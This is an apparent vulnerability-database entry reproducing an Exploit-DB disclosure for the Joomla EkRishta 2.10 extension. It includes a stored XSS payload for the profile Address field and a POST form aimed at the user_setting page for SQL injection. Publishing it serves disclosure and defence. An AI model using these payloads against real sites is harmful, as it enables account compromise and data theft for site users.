Joomla! extension EkRishta 2.10 - Persistent Cross-Site Scripting / SQL Injection

vendor:

EkRishta

by:

Sina Kheirkhah

8.8

CVSS

HIGH

Persistent Cross-Site Scripting / SQL Injection

CWE

Product Name: EkRishta

Affected Version From: 2.10

Affected Version To: 2.10

Patch Exists: YES

Related CWE: N/A

CPE: a:joomlaextensions:ek_rishta:2.10

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Webapps

2018

Joomla! extension EkRishta 2.10 – Persistent Cross-Site Scripting / SQL Injection

The website has filtered all the inputs for sql injection BUT you can use the user_setting page in order to Inject SQL code by using POST method. A payload can be used in the Address field of the profile info page, which will be executed whenever someone visits the profile.

Mitigation:

Input validation and sanitization should be done to prevent XSS and SQL Injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Joomla! extension EkRishta 2.10 - Persistent Cross-Site Scripting  / SQL Injection
# Dork: N/A
# Date: 2018-05-18
# Exploit Author: Sina Kheirkhah || (Sina.For.Sec@gmail.com)
# Software Link: https://extensions.joomla.org/extensions/extension/living/dating-a-relationships/ek-rishta/
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Version: 2.10
# Category: Webapps
# CVE: N/A
#
#
#
#POC-1) Cross site scripting (XSS) :
#
#
# Description:
#
# 1)create a profile
# 2)you can use your payload in profile info page
# 3)for example in Address field you can use
"></textarea><script>prompt('address')</script>
# 4)now the Payload will be executed whenever someone visits your profile
#
#
# POC-2) SQL Injection:
#
# Description:
# 1)the website has filtered all the inputs for sql injection BUT
# you can use the user_setting page in order to Inject SQL code
# by using POST method
# http://localhost/ekrishta/index.php/profile/user_setting
#
# <form method="POST" action="http://localhost/ekrishta/index.php/profile/user_setting">
# <input type="text" name="phone_no" value="SQL injection">
# <input type="hidden" name="task" value="save">
# <input type="submit" name="save" value="Save"/>
# </form>